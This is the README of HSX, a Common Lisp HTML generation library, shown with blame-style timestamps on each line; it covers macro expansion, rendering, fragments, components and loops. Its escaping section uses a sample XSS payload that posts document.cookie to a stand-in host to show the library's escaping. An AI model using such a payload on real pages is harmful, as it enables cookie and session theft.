2025-03-28 15:20:57 +09:00
|
|
|
|
# HSX – Hypertext S-expression
|
2018-06-24 13:08:30 -04:00
|
|
|
|
|
2025-04-01 01:36:49 +09:00
|
|
|
|
**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.
|
2024-12-12 14:00:42 +09:00
|
|
|
|
|
2025-05-18 19:00:35 +09:00
|
|
|
|
[Practical usage example](https://github.com/skyizwhite/website)
|
|
|
|
|
|
2025-04-01 01:36:49 +09:00
|
|
|
|
> 🚧 **BETA NOTICE:**
|
2025-03-28 15:20:57 +09:00
|
|
|
|
> This library is still in early development. APIs may change.
|
|
|
|
|
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
|
2024-12-12 14:00:42 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
## ⚙️ How HSX Works
|
2024-12-12 14:00:42 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
|
2024-05-28 19:33:08 +09:00
|
|
|
|
|
2024-05-27 18:24:19 +09:00
|
|
|
|
```lisp
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(create-element type props children)
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
For example:
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
```lisp
|
|
|
|
|
(hsx
|
|
|
|
|
(article :class "container"
|
|
|
|
|
(h1 "Title")
|
|
|
|
|
(p "Paragraph")
|
|
|
|
|
(~share-button :service :x))
|
2024-05-27 18:08:25 +09:00
|
|
|
|
```
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Is internally transformed (by macro expansion) into:
|
2024-12-13 01:35:31 +09:00
|
|
|
|
|
|
|
|
|
```lisp
|
2025-03-30 20:20:17 +09:00
|
|
|
|
(create-element :article
|
|
|
|
|
(list :class "container")
|
|
|
|
|
(list (create-element :h1
|
|
|
|
|
(list)
|
|
|
|
|
(list "Title"))
|
|
|
|
|
(create-element :p
|
|
|
|
|
(list)
|
|
|
|
|
(list "Paragraph"))
|
|
|
|
|
(create-element #'~share-button
|
|
|
|
|
(list :service :x)
|
|
|
|
|
(list))))
|
2024-12-13 01:35:31 +09:00
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
## 🚀 Quick Example
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2024-05-27 18:24:19 +09:00
|
|
|
|
```lisp
|
2024-05-27 18:08:25 +09:00
|
|
|
|
(hsx
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(div :id "main" :class "container"
|
|
|
|
|
(h1 "Hello, HSX!")
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(p "This is a simple paragraph.")))
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Generates:
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```html
|
2025-03-28 15:20:57 +09:00
|
|
|
|
<div id="main" class="container">
|
|
|
|
|
<h1>Hello, HSX!</h1>
|
|
|
|
|
<p>This is a simple paragraph.</p>
|
2024-05-27 18:08:25 +09:00
|
|
|
|
</div>
|
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
## 📝 Rendering
|
|
|
|
|
|
|
|
|
|
Use `render-to-string` to convert an HSX structure to a string of HTML:
|
|
|
|
|
|
|
|
|
|
```lisp
|
|
|
|
|
(render-to-string
|
|
|
|
|
(hsx ...))
|
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
## 🔐 Escaping text
|
2025-03-28 15:20:57 +09:00
|
|
|
|
|
|
|
|
|
All elements automatically escape special characters in content to prevent XSS and HTML injection:
|
|
|
|
|
|
|
|
|
|
```lisp
|
|
|
|
|
(hsx
|
|
|
|
|
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
|
|
|
|
|
```
|
|
|
|
|
Outputs:
|
|
|
|
|
|
|
|
|
|
```html
|
|
|
|
|
<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>
|
|
|
|
|
```
|
2024-06-08 13:43:57 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Use the special tag `raw!` to inject trusted, unescaped HTML:
|
|
|
|
|
|
|
|
|
|
```lisp
|
|
|
|
|
(hsx
|
|
|
|
|
(article (raw! "HTML text here ..."))
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 🧩 Fragments
|
|
|
|
|
|
|
|
|
|
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
|
2024-05-30 09:47:56 +09:00
|
|
|
|
|
|
|
|
|
```lisp
|
|
|
|
|
(hsx
|
|
|
|
|
(<>
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(p "One")
|
|
|
|
|
(p "Two")))
|
2024-05-30 09:47:56 +09:00
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Outputs:
|
2024-05-30 09:47:56 +09:00
|
|
|
|
|
|
|
|
|
```html
|
2025-03-28 15:20:57 +09:00
|
|
|
|
<p>One</p>
|
|
|
|
|
<p>Two</p>
|
2024-05-30 09:47:56 +09:00
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Note: `raw!` tag is a fragment that disables HTML escaping for its children.
|
2024-05-28 19:33:08 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
## 🧱 Components
|
|
|
|
|
|
|
|
|
|
Define reusable components using `defcomp` macro. Component names must start with `~`.
|
|
|
|
|
|
|
|
|
|
*Keyword-style*
|
2024-05-28 19:33:08 +09:00
|
|
|
|
|
|
|
|
|
```lisp
|
2024-12-13 01:35:31 +09:00
|
|
|
|
(defcomp ~card (&key title children)
|
2024-05-27 18:08:25 +09:00
|
|
|
|
(hsx
|
2024-06-08 13:43:57 +09:00
|
|
|
|
(div :class "card"
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(h2 title)
|
2024-05-27 18:40:50 +09:00
|
|
|
|
children)))
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
*Property-list style*
|
2024-05-27 18:24:19 +09:00
|
|
|
|
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```lisp
|
2024-12-13 01:35:31 +09:00
|
|
|
|
(defcomp ~card (&rest props)
|
2024-05-27 18:24:19 +09:00
|
|
|
|
(hsx
|
2024-06-08 13:43:57 +09:00
|
|
|
|
(div :class "card"
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(h2 (getf props :title))
|
2024-05-27 18:40:50 +09:00
|
|
|
|
(getf props :children))))
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
### Usage
|
2024-05-27 18:24:19 +09:00
|
|
|
|
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```lisp
|
2024-05-27 18:40:50 +09:00
|
|
|
|
(hsx
|
2025-03-28 15:20:57 +09:00
|
|
|
|
(~card :title "Hello"
|
|
|
|
|
(p "This is a card.")))
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
Outputs:
|
2024-05-27 18:08:25 +09:00
|
|
|
|
|
2024-05-28 09:31:18 +09:00
|
|
|
|
```html
|
2024-06-08 13:43:57 +09:00
|
|
|
|
<div class="card">
|
2025-03-28 15:20:57 +09:00
|
|
|
|
<h2>Hello</h2>
|
|
|
|
|
<p>This is a card.</p>
|
2024-05-27 18:08:25 +09:00
|
|
|
|
</div>
|
|
|
|
|
```
|
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
## 🧬 Logic and Interpolation
|
|
|
|
|
|
|
|
|
|
You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
|
|
|
|
|
|
|
|
|
|
```lisp
|
|
|
|
|
(hsx
|
|
|
|
|
(div
|
|
|
|
|
(if (> (random 10) 5)
|
|
|
|
|
(hsx (p "High!"))
|
|
|
|
|
(hsx (p "Low!")))))
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Or loop:
|
|
|
|
|
|
|
|
|
|
```lisp
|
|
|
|
|
(hsx
|
|
|
|
|
(ul
|
|
|
|
|
(loop :for item :in todo-list :collect
|
|
|
|
|
(hsx (li item))))))
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 📄 License
|
2024-02-09 02:54:12 +09:00
|
|
|
|
|
2025-03-28 15:20:57 +09:00
|
|
|
|
MIT License
|
2025-03-28 16:23:15 +09:00
|
|
|
|
|
|
|
|
|
© 2024 Akira Tempaku
|
|
|
|
|
|
|
|
|
|
© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
|
2025-03-28 15:20:57 +09:00
|
|
|
|
|